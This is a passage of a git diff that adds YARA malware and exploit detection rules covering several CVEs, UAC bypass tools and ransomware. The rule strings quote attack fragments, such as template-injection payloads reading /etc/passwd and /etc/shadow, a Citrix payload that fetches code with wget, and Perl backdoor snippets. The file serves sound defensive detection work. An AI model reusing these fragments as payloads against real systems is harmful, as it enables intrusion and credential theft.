+   condition:
+      filesize < 200KB and 1 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/exploit_cve_2018_0802.yar b/yara-Neo23x0/exploit_cve_2018_0802.yar
new file mode 100644
index 0000000..df4cc2f
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2018_0802.yar
@@ -0,0 +1,14 @@
+
+rule rtf_CVE_2018_0802 {
+   meta:
+      author = "Rich Warren"
+      description = "Attempts to exploit CVE-2018-0802"
+      reference = "http://www.freebuf.com/vuls/159789.html"
+      id = "162492a3-d792-5f1c-a143-191c62b54728"
+   strings:
+      $equation = { 45 71 75 61 74 69 6F 6E 2E 33 }
+      $header_and_shellcode = /03010[0,1][0-9a-fA-F]{308,310}2500/ ascii nocase
+   condition:
+      uint32be(0) == 0x7B5C7274 // RTF header
+      and all of them
+}
diff --git a/yara-Neo23x0/exploit_cve_2018_16858.yar b/yara-Neo23x0/exploit_cve_2018_16858.yar
new file mode 100644
index 0000000..1defa6e
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2018_16858.yar
@@ -0,0 +1,17 @@
+rule EXP_Libre_Office_CVE_2018_16858 {
+    meta:
+        description = "RCE in Libre Office with crafted ODT file (CVE-2018-16858)"
+        author = "John Lambert @JohnLaTwC / modified by Florian Roth"
+        date = "2019-02-01"
+        reference = "https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html"
+        hash = "95a02b70c117947ff989e3e00868c2185142df9be751a3fefe21f18fa16a1a6f"
+        id = "17a0a569-27bf-57ab-937e-8943442ae604"
+    strings:
+        $s1 = "xlink:href=\"vnd.sun.star.script:" ascii nocase
+        $s2 = ".py$tempfilepager" ascii nocase
+        $tag = {3c 6f 66 66 69 63 65 3a 64 6f 63 }
+    condition:
+        uint32be(0) == 0x3c3f786d // <?xm
+        and $tag in (0..0100) // <office:doc
+        and all of ($s*)
+}
diff --git a/yara-Neo23x0/exploit_cve_2021_31166.yar b/yara-Neo23x0/exploit_cve_2021_31166.yar
new file mode 100644
index 0000000..f0bd680
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2021_31166.yar
@@ -0,0 +1,14 @@
+
+rule EXPL_CVE_2021_31166_Accept_Encoding_May21_1 {
+   meta:
+      description = "Detects malformed Accept-Encoding header field as used in code exploiting CVE-2021-31166"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/0vercl0k/CVE-2021-31166"
+      date = "2021-05-21"
+      score = 70
+      id = "d0a79cdc-f3ee-58f9-805c-ec9eb7993315"
+   strings:
+      $xr1 = /[Aa]ccept\-[Ee]ncoding: [a-z\-]{1,16},([a-z\-\s]{1,16},|)*[\s]{1,20},/
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/exploit_cve_2021_33766_proxytoken.yar b/yara-Neo23x0/exploit_cve_2021_33766_proxytoken.yar
new file mode 100644
index 0000000..bc691d2
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2021_33766_proxytoken.yar
@@ -0,0 +1,22 @@
+
+rule LOG_EXPL_ProxyToken_Exploitation_Aug21_1 {
+   meta:
+      description = "Detects ProxyToken CVE-2021-33766 exploitation attempts on an unpatched system"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server"
+      date = "2021-08-30"
+      score = 75
+      id = "f4840140-6d31-52f9-b1a0-2acdd4b955cd"
+   strings:
+      $ss0 = "POST " ascii
+      $ss1 = " 500 0 0"
+
+      $sa1 = "/ecp/" ascii
+      $sa2 = "/RulesEditor/InboxRules.svc/NewObject" ascii
+
+      $sb1 = "/ecp/" ascii
+      $sb2 = "SecurityToken=" ascii
+   condition:
+      all of ($ss*) and ( all of ($sa*) or all of ($sb*) )
+}
+
diff --git a/yara-Neo23x0/exploit_cve_2022_22954_vmware_workspace_one.yar b/yara-Neo23x0/exploit_cve_2022_22954_vmware_workspace_one.yar
new file mode 100644
index 0000000..db853a3
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2022_22954_vmware_workspace_one.yar
@@ -0,0 +1,22 @@
+
+rule SUSP_EXPL_POC_VMWare_Workspace_ONE_CVE_2022_22954_Apr22 {
+   meta:
+      old_rule_name = "EXPL_POC_VMWare_Workspace_ONE_CVE_2022_22954_Apr22"
+      description = "Detects payload as seen in PoC code to exploit Workspace ONE Access freemarker server-side template injection CVE-2022-22954"
+      author = "Florian Roth"
+      reference = "https://github.com/sherlocksecurity/VMware-CVE-2022-22954"
+      reference2 = "https://twitter.com/rwincey/status/1512241638994853891/photo/1"
+      date = "2022-04-08"
+      modified = "2023-04-28"
+      score = 70
+      id = "b7b7cefb-96f5-53f9-b6fc-6e798f557c5d"
+   strings:
+      $x1 = "66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28" ascii
+      $x2 = "${\"freemarker.template.utility.Execute\"?new()("
+      $x3 = "cat /etc/passwd\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute"
+      $x4 = "cat /etc/passwd\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute"
+      $x5 = "cat /etc/shadow\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute"
+      $x6 = "cat /etc/shadow\\\")).(#execute=#instancemanager.newInstance(\\\"freemarker.template.utility.Execute"
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/exploit_cve_2023_38146.yar b/yara-Neo23x0/exploit_cve_2023_38146.yar
new file mode 100644
index 0000000..98f4904
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2023_38146.yar
@@ -0,0 +1,17 @@
+rule SUSP_ThemeBleed_Theme_Sep23 {
+    meta:
+        description = "Detects domain or IP placement in Windows theme files"
+        author = "@m_haggis, @nas_bench"
+        date = "2023-09-13"
+        reference = "https://github.com/gabe-k/themebleed"
+        score = 75
+
+        id = "76d0042b-655d-5d03-bcc4-150ebc92eb43"
+    strings:
+        $s1 = /Path=\\\\[0-9a-zA-Z\.-]{1,20}\\/
+        $s2 = "[VisualStyles]"
+        $s3 = "[Theme]"
+
+    condition:
+        filesize < 1MB and all of them
+}
diff --git a/yara-Neo23x0/exploit_f5_bigip_cve_2021_22986_log.yar b/yara-Neo23x0/exploit_f5_bigip_cve_2021_22986_log.yar
new file mode 100644
index 0000000..cf0c3aa
--- /dev/null
+++ b/yara-Neo23x0/exploit_f5_bigip_cve_2021_22986_log.yar
@@ -0,0 +1,15 @@
+
+rule LOG_F5_BIGIP_Exploitation_Artefacts_CVE_2021_22986_Mar21_1 : LOG {
+   meta:
+      description = "Detects forensic artefacts indicating successful exploitation of F5 BIG IP appliances as reported by NCCGroup"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/"
+      date = "2021-03-20"
+      score = 80
+      id = "e109ebeb-e5c3-5999-95dc-0963ed8461a6"
+   strings:
+      $x1 = "\",\"method\":\"POST\",\"uri\":\"http://localhost:8100/mgmt/tm/util/bash\",\"status\":200," ascii
+      $x2 = "[com.f5.rest.app.RestServerServlet] X-F5-Auth-Token doesn't have value, so skipping" ascii
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/exploit_gitlab_cve_2021_22205.yar b/yara-Neo23x0/exploit_gitlab_cve_2021_22205.yar
new file mode 100644
index 0000000..e792c84
--- /dev/null
+++ b/yara-Neo23x0/exploit_gitlab_cve_2021_22205.yar
@@ -0,0 +1,44 @@
+
+rule EXPL_GitLab_CE_RCE_CVE_2021_22205 {
+   meta:
+      description = "Detects signs of exploitation of GitLab CE CVE-2021-22205"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/"
+      date = "2021-10-26"
+      score = 70
+      id = "21cc6fa7-e50d-5b8e-815d-27315ab5635d"
+   strings:
+      /* User.find_by(username */
+      $sa1 = "VXNlci5maW5kX2J5KHVzZXJuYW1l" ascii
+      $sa2 = "VzZXIuZmluZF9ieSh1c2VybmFtZ" ascii
+      $sa3 = "Vc2VyLmZpbmRfYnkodXNlcm5hbW" ascii
+
+      /* user.admin */
+      $sb1 = "dXNlci5hZG1pb" ascii
+      $sb2 = "VzZXIuYWRtaW" ascii
+      $sb3 = "1c2VyLmFkbWlu" ascii
+
+      /* user.save! */
+      $sc1 = "dXNlci5zYXZlI" ascii
+      $sc2 = "VzZXIuc2F2ZS" ascii
+      $sc3 = "1c2VyLnNhdmUh" ascii
+   condition:
+      1 of ($sa*) and 1 of ($sb*) and 1 of ($sc*)
+}
+
+rule EXPL_GitLab_CE_RCE_Malformed_JPG_CVE_2021_22204 {
+   meta:
+      description = "Detects malformed JPG files exploting EXIF vulnerability CVE-2021-22204 and used in the exploitation of GitLab vulnerability CVE-2021-22205"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=blog"
+      date = "2021-10-26"
+      score = 70
+      id = "3d769340-0306-596d-8783-2b37b93a5673"
+   strings:
+      $h1 = { 41 54 26 54 46 4F 52 4D }
+      $sr1 = /\(metadata[\s]{0,3}\([A-Za-z]{1,20} "\\/
+   condition:
+      filesize < 10KB 
+      and $h1
+      and $sr1
+}
diff --git a/yara-Neo23x0/exploit_rtf_ole2link.yar b/yara-Neo23x0/exploit_rtf_ole2link.yar
new file mode 100644
index 0000000..df1e0e4
--- /dev/null
+++ b/yara-Neo23x0/exploit_rtf_ole2link.yar
@@ -0,0 +1,23 @@
+rule malrtf_ole2link : exploit {
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Detects weaponized RTF documents with OLE2Link exploit"
+		id = "5080e79a-3abc-5fc3-902e-b362f20510f9"
+	strings:
+		//having objdata structure
+		$rtf_olelink_01 = "\\objdata" nocase
+		//hex encoded OLE2Link
+		$rtf_olelink_02 = "4f4c45324c696e6b" nocase
+		//hex encoded docfile magic - doc file albilae
+		$rtf_olelink_03 = "d0cf11e0a1b11ae1" nocase
+		//hex encoded "http://"
+		$rtf_payload_01 = "68007400740070003a002f002f00" nocase
+		//hex encoded "https://"
+		$rtf_payload_02 = "680074007400700073003a002f002f00" nocase
+		//hex encoded "ftp://"
+		$rtf_payload_03 = "6600740070003a002f002f00" nocase
+	condition:
+		uint32be(0) == 0x7B5C7274
+		and all of ($rtf_olelink_*)
+		and any of ($rtf_payload_*)
+}
diff --git a/yara-Neo23x0/exploit_shitrix.yar b/yara-Neo23x0/exploit_shitrix.yar
new file mode 100644
index 0000000..5d18cff
--- /dev/null
+++ b/yara-Neo23x0/exploit_shitrix.yar
@@ -0,0 +1,29 @@
+
+rule EXPL_Shitrix_Exploit_Code_Jan20_1 : FILE {
+   meta:
+      description = "Detects payloads used in Shitrix exploitation CVE-2019-19781"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704/"
+      date = "2020-01-13"
+      score = 70
+      id = "7fab3a9b-82a5-573a-b210-2ae65f1a7f24"
+   strings:
+      $s01 = "/netscaler/portal/scripts/rmpm.pl" ascii
+      $s02 = "tee /netscaler/portal/templates/" ascii
+      $s03 = "exec(\\'(wget -q -O- http://" ascii
+      $s04 = "cd /netscaler/portal; ls" ascii
+      $s05 = "cat /flash/nsconfig/ns.conf" ascii
+      $s06 = "/netscaler/portal/scripts/PersonalBookmak.pl" ascii
+      $s07 = "template.new({'BLOCK'='print readpipe(" ascii /* TrustedSec templae */
+      $s08 = "pwnpzi1337" fullword ascii /* PZI india static user name */
+      $s09 = "template.new({'BLOCK'=" /* PZI exploit URL decoded form */
+      $s10 = "template.new({'BLOCK'%3d" /* PZI exploit URl encoded form */
+      $s11 = "my ($citrixmd, %FORM);" /* Perl backdoor */
+      $s12 = "(CMD, \"($citrixmd) 2>&1" /* Perl backdoor */
+
+      $b1 = "NSC_USER:" ascii nocase /* https://twitter.com/ItsReallyNick/status/1217308463174496256 */
+      $b2 = "NSC_NONCE:" ascii nocase /* https://twitter.com/ItsReallyNick/status/1217308463174496256 */
+      $b3 = "/../" ascii
+   condition:
+      1 of ($s*) or all of ($b*)
+}
diff --git a/yara-Neo23x0/exploit_tlb_scripts.yar b/yara-Neo23x0/exploit_tlb_scripts.yar
new file mode 100644
index 0000000..18e1730
--- /dev/null
+++ b/yara-Neo23x0/exploit_tlb_scripts.yar
@@ -0,0 +1,19 @@
+
+rule EXPL_Exploit_TLB_Scripts {
+   meta:
+      description = "Detects malicious TLB files which may be delivered via Visual Studio projects"
+      author = "Rich Warren (slightly modified by Florian Roth)"
+      reference = "https://github.com/outflanknl/Presentations/blob/master/Nullcon2020_COM-promise_-_Attacking_Windows_development_environments.pdf"
+      date = "2021-01-26"
+      id = "5151458e-4c30-50ff-a39e-e5b5b68b87aa"
+   strings:
+      $a = ".sct" ascii nocase
+      $b = "script:" ascii nocase
+      $c = "scriptlet:" ascii nocase
+      $d = "soap:" ascii nocase
+      $e = "winmgmts:" ascii nocase
+   condition:
+      uint32be(0) == 0x4D534654 and 
+      filesize < 100KB and 
+      any of them
+}
diff --git a/yara-Neo23x0/exploit_uac_elevators.yar b/yara-Neo23x0/exploit_uac_elevators.yar
new file mode 100644
index 0000000..01c98db
--- /dev/null
+++ b/yara-Neo23x0/exploit_uac_elevators.yar
@@ -0,0 +1,174 @@
+
+rule Win7Elevatev2 {
+	meta:
+		description = "Detects Win7Elevate - Windows UAC bypass utility"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.pretentiousname.com/misc/W7E_Source/Win7Elevate_Inject.cpp.html"
+		date = "2015-05-14"
+		hash1 = "4f53ff6a04e46eda92b403faf42219a545c06c29" /* x64 */
+		hash2 = "808d04c187a524db402c5b2be17ce799d2654bd1" /* x86 */
+		score = 60
+		id = "af092d16-ca95-5985-822a-50457c9cbcc9"
+	strings:
+		$x1 = "This program attempts to bypass Windows 7's default UAC settings to run " wide
+		$x2 = "Win7ElevateV2\\x64\\Release\\" ascii
+		$x3 = "Run the command normally (without code injection)" wide
+		$x4 = "Inject file copy && elevate command" fullword wide
+		$x5 = "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" fullword wide
+		$x6 = "For injection, pick any unelevated Windows process with ASLR on:" fullword wide
+
+		$s1 = "\\cmd.exe" wide
+		$s2 = "runas" wide
+		$s3 = "explorer.exe" wide
+		$s4 = "Couldn't load kernel32.dll" wide
+		$s5 = "CRYPTBASE.dll" wide
+		$s6 = "shell32.dll" wide
+		$s7 = "ShellExecuteEx" ascii
+		$s8 = "COMCTL32.dll" ascii
+		$s9 = "ShellExecuteEx" ascii
+		$s10 = "HeapAlloc" ascii
+	condition:
+		uint16(0) == 0x5a4d and ( 1 of ($x*) or all of ($s*) )
+}
+
+rule UACME_Akagi {
+	meta:
+		description = "Rule to detect UACMe - abusing built-in Windows AutoElevate backdoor"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/hfiref0x/UACME"
+		date = "2015-05-14"
+		hash1 = "edd2138bbd9e76c343051c6dc898054607f2040a"
+		hash2 = "e3a919ccc2e759e618208ededa8a543954d49f8a"
+		score = 60
+		id = "7979129e-99a3-522a-8285-9061e1e2bd41"
+	strings:
+		$x1 = "UACMe injected, Fubuki at your service." wide fullword
+		$x3 = "%temp%\\Hibiki.dll" fullword wide
+		$x4 = "[UCM] Cannot write to the target process memory." fullword wide
+
+		$s1 = "%systemroot%\\system32\\cmd.exe" wide
+		$s2 = "D:(A;;GA;;;WD)" wide
+		$s3 = "%systemroot%\\system32\\sysprep\\sysprep.exe" fullword wide
+		$s4 = "/c wusa %ws /extract:%%windir%%\\system32" fullword wide
+		$s5 = "Fubuki.dll" ascii fullword
+
+		$l1 = "ntdll.dll" ascii
+		$l2 = "Cabinet.dll" ascii
+		$l3 = "GetProcessHeap" ascii
+		$l4 = "WriteProcessMemory" ascii
+		$l5 = "ShellExecuteEx" ascii
+	condition:
+		( 1 of ($x*) ) or ( 3 of ($s*) and all of ($l*) )
+}
+
+rule UACElevator {
+	meta:
+		description = "UACElevator bypassing UAC - file UACElevator.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/MalwareTech/UACElevator"
+		date = "2015-05-14"
+		hash = "fd29d5a72d7a85b7e9565ed92b4d7a3884defba6"
+		id = "629b1a92-726d-5713-ae3d-74cc8a1e52ad"
+	strings:
+		$x1 = "\\UACElevator.pdb" ascii
+
+		$s1 = "%userprofile%\\Downloads\\dwmapi.dll" fullword ascii
+		$s2 = "%windir%\\system32\\dwmapi.dll" fullword ascii
+		$s3 = "Infection module: %s" fullword ascii
+		$s4 = "Could not save module to %s" fullword ascii
+		$s5 = "%s%s%p%s%ld%s%d%s" fullword ascii
+		$s6 = "Stack area around _alloca memory reserved by this function is corrupted" fullword ascii
+		$s7 = "Stack around the variable '" fullword ascii
+		$s8 = "MSVCR120D.dll" fullword wide
+		$s9 = "Address: 0x" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 172KB and
+			( $x1 or 8 of ($s*) )
+}
+
+rule s4u {
+	meta:
+		description = "Detects s4u executable which allows the creation of a cmd.exe with the context of any user without requiring the password. - file s4u.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/aurel26/s-4-u-for-windows"
+		date = "2015-06-05"
+		hash = "cfc18f3d5306df208461459a8e667d89ce44ed77"
+		score = 50
+		id = "0d746311-56fe-538c-946c-3a3dd1603adc"
+	strings:
+		// Specific strings (may change)
+		$x0 = "s4u.exe Domain\\Username [Extra SID]" fullword ascii
+		$x1 = "\\Release\\s4u.pdb" ascii
+
+		// Less specific strings
+		$s0 = "CreateProcessAsUser failed (error %u)." fullword ascii
+		$s1 = "GetTokenInformation failed (error: %u)." fullword ascii
+		$s2 = "LsaLogonUser failed (error 0x%x)." fullword ascii
+		$s3 = "LsaLogonUser: OK, LogonId: 0x%x-0x%x" fullword ascii
+		$s4 = "LookupPrivilegeValue failed (error: %u)." fullword ascii
+		$s5 = "The token does not have the specified privilege (%S)." fullword ascii
+		$s6 = "Unable to parse command line." fullword ascii
+		$s7 = "Unable to find logon SID." fullword ascii
+		$s8 = "AdjustTokenPrivileges failed (error: %u)." fullword ascii
+		$s9 = "AdjustTokenPrivileges (%S): OK" fullword ascii
+
+		// Generic
+		$g1 = "%systemroot%\\system32\\cmd.exe" wide
+		$g2 = "SeTcbPrivilege" wide
+		$g3 = "winsta0\\default" wide
+		$g4 = ".rsrc"
+		$g5 = "HeapAlloc"
+		$g6 = "GetCurrentProcess"
+		$g7 = "HeapFree"
+		$g8 = "GetProcessHeap"
+		$g9 = "ExpandEnvironmentStrings"
+		$g10 = "ConvertStringSidToSid"
+		$g11 = "LookupPrivilegeValue"
+		$g12 = "AllocateLocallyUniqueId"
+		$g13 = "ADVAPI32.dll"
+		$g14 = "LsaLookupAuthenticationPackage"
+		$g15 = "Secur32.dll"
+		$g16 = "MSVCR120.dll"
+
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and ( 1 of ($x*) or all of ($s*) or all of ($g*) )
+}
+
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-03
+   Identifier: UACME Akagi
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule UACME_Akagi_2 {
+   meta:
+      description = "Detects Windows User Account Control Bypass - from files Akagi32.exe, Akagi64.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/hfiref0x/UACME"
+      date = "2017-02-03"
+      hash1 = "caf744d38820accb48a6e50216e547ed2bb3979604416dbcfcc991ce5e18f4ca"
+      hash2 = "609e9b15114e54ffc40c05a8980cc90f436a4a77c69f3e32fe391c0b130ff1c5"
+      score = 80
+      id = "1177d663-1081-5d17-9dd7-1218d95d90f7"
+   strings:
+      $x1 = "Usage: Akagi.exe [Method] [OptionalParamToExecute]" fullword wide
+      $x2 = "[UCM] Target file already exists, abort" fullword wide
+
+      $s1 = "MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" fullword wide
+      $s2 = "Akagi.exe" fullword wide
+      $s3 = "Elevation:Administrator!new:{3AD05575-8857-4850-9277-11B85BDB8E09}" fullword wide
+      $s4 = "/c wusa %ws /extract:%%windir%%\\system32\\sysprep" fullword wide
+      $s5 = "/c wusa %ws /extract:%%windir%%\\system32\\migwiz" fullword wide
+      $s6 = "loadFrom=\"%systemroot%\\system32\\sysprep\\cryptbase.DLL\"" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 900KB and ( 1 of ($x*) or 3 of ($s*) ) ) or ( 6 of them )
+}
diff --git a/yara-Neo23x0/gen_100days_of_yara_2023.yar b/yara-Neo23x0/gen_100days_of_yara_2023.yar
new file mode 100644
index 0000000..4d3f9cd
--- /dev/null
+++ b/yara-Neo23x0/gen_100days_of_yara_2023.yar
@@ -0,0 +1,242 @@
+import "pe"
+
+rule SUSP_LNK_Embedded_WordDoc {
+	meta:
+		author = "Greg Lesnewich"
+		description = "check for LNK files with indications of the Word program or an embedded doc"
+		date = "2023-01-02"
+		version = "1.0"
+		hash = "120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5"
+		DaysofYARA = "2/100"
+
+		id = "9677d41a-9d29-510c-98cd-122dc0ca9606"
+	strings:
+		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
+		$icon_loc = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.exe" ascii wide
+	condition:
+		uint32be(0x0) == 0x4C000000 and
+		filesize > 10KB and
+		any of them
+}
+
+rule SUSP_LNK_SmallScreenSize {
+	meta:
+		author = "Greg Lesnewich"
+		description = "check for LNKs that have a screen buffer size and WindowSize dimensions of 1x1"
+		date = "2023-01-01"
+		version = "1.0"
+		DaysofYARA = "1/100"
+
+		id = "6194a76b-36d6-51d1-8d53-2e11172e29d2"
+	strings:
+		$dimensions = {02 00 00 A0 ?? 00 ?? ?? 01 00 01 00 01}
+		// struct ConsoleDataBlock sConsoleDataBlock
+		// uint32 Size
+		// uint32 Signature
+		// enum FillAttributes
+		// enum PopupFillAttributes
+		// uint16 ScreenBufferSizeX
+		// uint16 ScreenBufferSizeY
+		// uint16 WindowSizeX
+		// uint16 WindowSizeY
+	condition:
+		uint32be(0x0) == 0x4c000000 and all of them
+}
+
+rule MAL_Janicab_LNK {
+	meta:
+		author = "Greg Lesnewich"
+		description = "detect LNK files used in Janicab infection chain"
+		date = "2023-01-01"
+		version = "1.0"
+		hash = "0c7e8427ee61672568983e51bf03e0bcf6f2e9c01d2524d82677b20264b23a3f"
+		hash = "22ede766fba7551ad0b71ef568d0e5022378eadbdff55c4a02b42e63fcb3b17c"
+		hash = "4920e6506ca557d486e6785cb5f7e4b0f4505709ffe8c30070909b040d3c3840"
+		hash = "880607cc2da4c3213ea687dabd7707736a879cc5f2f1d4accf79821e4d24d870"
+		hash = "f4610b65eba977b3d13eba5da0e38788a9e796a3e9775dd2b8e37b3085c2e1af"
+		DaysofYARA = "1/100"
+
+		id = "c21844d3-eeee-530e-a69c-b7f604616f0b"
+	strings:
+		$j_pdf1 = "%PDF-1.5" ascii wide
+		$j_cmd = "\\Windows\\System32\\cmd.exe" ascii wide
+		$j_pdf_stream = "endstream" ascii wide
+		$j_pdb_obj = "endobj" ascii wide
+		$dimensions = {02 00 00 A0 ?? 00 ?? ?? 01 00 01 00 01}
+	condition:
+		uint32be(0x0) == 0x4C000000 and $dimensions and 2 of ($j_*)
+}
+
+rule SUSP_ELF_Invalid_Version {
+   meta:
+      desc = "Identify ELF file that has mangled header info."
+      author = "@shellcromancer"
+      version = "0.1"
+      score = 55
+      last_modified = "2023.01.01"
+      reference = "https://n0.lol/ebm/1.html"
+      reference = "https://tmpout.sh/1/1.html"
+      hash = "05379bbf3f46e05d385bbd853d33a13e7e5d7d50"
+      id = "5bd97fdd-0912-5f9b-877c-91fff9b98dea"
+   condition:
+      (
+         uint32(0) == 0x464c457f
+         and uint8(0x6) > 1 // ELF Version is greater value than in spec.
+      )
+}
+
+rule MAL_ELF_TorchTriton {
+	meta:
+		author = "Silas Cutler"
+		description = "Detection for backdoor (TorchTriton) distributed with a nightly build of PyTorch"
+		date = "2023-01-02"
+		version = "1.0"
+		hash = "2385b29489cd9e35f92c072780f903ae2e517ed422eae67246ae50a5cc738a0e"
+		reference = "https://www.bleepingcomputer.com/news/security/pytorch-discloses-malicious-dependency-chain-compromise-over-holidays/"
+		DaysofYARA = "2/100"
+
+		id = "85e98ee7-30bf-554f-a0ac-9df263e6dfe4"
+	strings:
+		$error = "failed to send packet"
+		$aes_key = "gIdk8tzrHLOM)mPY-R)QgG[;yRXYCZFU"
+		$aes_iv = "?BVsNqL]S.Ni"
+			// std::vector<std::__cxx11::basic_string<char> > splitIntoDomains(const string&, const string&, const string&)
+		$func01 = "splitIntoDomains("
+		$func02 = "packageForTransport"
+		$func03 = "gatherFiles"
+			// void sendFile(const string&, const string&, int, int, const string&)
+		$func04 = "void sendFile("
+		//enc Domain
+		$domain = "&z-%`-(*"
+	condition:
+		uint32(0) == 0x464c457f and (
+			(all of ($aes_*)) or
+			(all of ($func*) and $error) or
+			($domain and 2 of them)
+			)
+}
+
+rule MAL_GOLDBACKDOOR_LNK {
+	meta:
+		author = "Greg Lesnewich"
+		date = "2023-01-02"
+		version = "1.0"
+		hash = "120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5"
+		reference = "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf"
+		DaysofYARA = "2/100"
+
+		id = "9a80f875-4843-535c-9f2b-b04da55713b1"
+	strings:
+		$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
+		$doc_icon_loc = "C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.exe" ascii wide
+		$script_apionedrivecom_hex_enc_str = "6170692e6f6e6564726976652e636f6d" wide
+		$script_kernel32dll_hex_enc_str = "6b65726e656c33322e646c6c" wide
+		$script_GlobalAlloc_hex_enc_str = "476c6f62616c416c6c6f63" wide
+		$script_VirtualProtect_hex_enc_str = "5669727475616c50726f74656374" wide
+		$script_WriteByte_hex_enc_str = "577269746542797465" wide
+		$script_CreateThread_hex_enc_str = "437265617465546872656164" wide
+	condition:
+		uint32be(0x0) == 0x4C000000 and
+		1 of ($doc*) and
+		2 of ($script*)
+}
+
+rule MAL_EXE_LockBit_v2
+{
+	meta:
+		author = "Silas Cutler, modified by Florian Roth"
+		description = "Detection for LockBit version 2.x from 2011"
+		date = "2023-01-01"
+      modified = "2023-01-06"
+		version = "1.0"
+      score = 80
+		hash = "00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8"
+		DaysofYARA = "1/100"
+
+		id = "a2c27110-e63b-5f93-88a0-98c12811e8b4"
+	strings:
+		$s_ransom_note01 = "that is located in every encrypted folder." wide
+		$s_ransom_note02 = "Would you like to earn millions of dollars?" wide
+
+		$x_ransom_tox = "3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7" wide
+		$x_ransom_url = "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion" wide
+
+		$s_str1 = "Active:[ %d [                  Completed:[ %d" wide
+		$x_str2 = "\\LockBit_Ransomware.hta" wide ascii
+      $s_str2 = "Ransomware.hta" wide ascii
+	condition:
+		uint16(0) == 0x5A4D and ( 1 of ($x*) or 2 of them ) or 3 of them
+}
+
+rule MAL_EXE_PrestigeRansomware {
+	meta:
+		author = "Silas Cutler, modfied by Florian Roth"
+		description = "Detection for Prestige Ransomware"
+		date = "2023-01-04"
+      modified = "2023-01-06"
+		version = "1.0"
+      score = 80
+		reference = "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"
+		hash = "5fc44c7342b84f50f24758e39c8848b2f0991e8817ef5465844f5f2ff6085a57"
+		DaysofYARA = "4/100"
+
+		id = "5ac8033a-8b15-5abe-89d5-018a4fef9ab5"
+	strings:
+		$x_ransom_email = "Prestige.ranusomeware@Proton.me" wide
+		$x_reg_ransom_note = "C:\\Windows\\System32\\reg.exe add HKCR\\enc\\shell\\open\\command /ve /t REG_SZ /d \"C:\\Windows\\Notepad.exe C:\\Users\\Public\\README\" /f" wide
+
+		$ransom_message01 = "To decrypt all the data, you will need to purchase our decryption software." wide
+		$ransom_message02 = "Contact us {}. In the letter, type your ID = {:X}." wide
+		$ransom_message03 = "- Do not try to decrypt your data using third party software, it may cause permanent data loss." wide
+		$ransom_message04 = "- Do not modify or rename encrypted files. You will lose them." wide
+	condition:
+		uint16(0) == 0x5A4D and 
+			(1 of ($x*) or 2 of them or pe.imphash() == "a32bbc5df4195de63ea06feb46cd6b55")
+}
+
+rule MAL_EXE_RoyalRansomware {
+	meta:
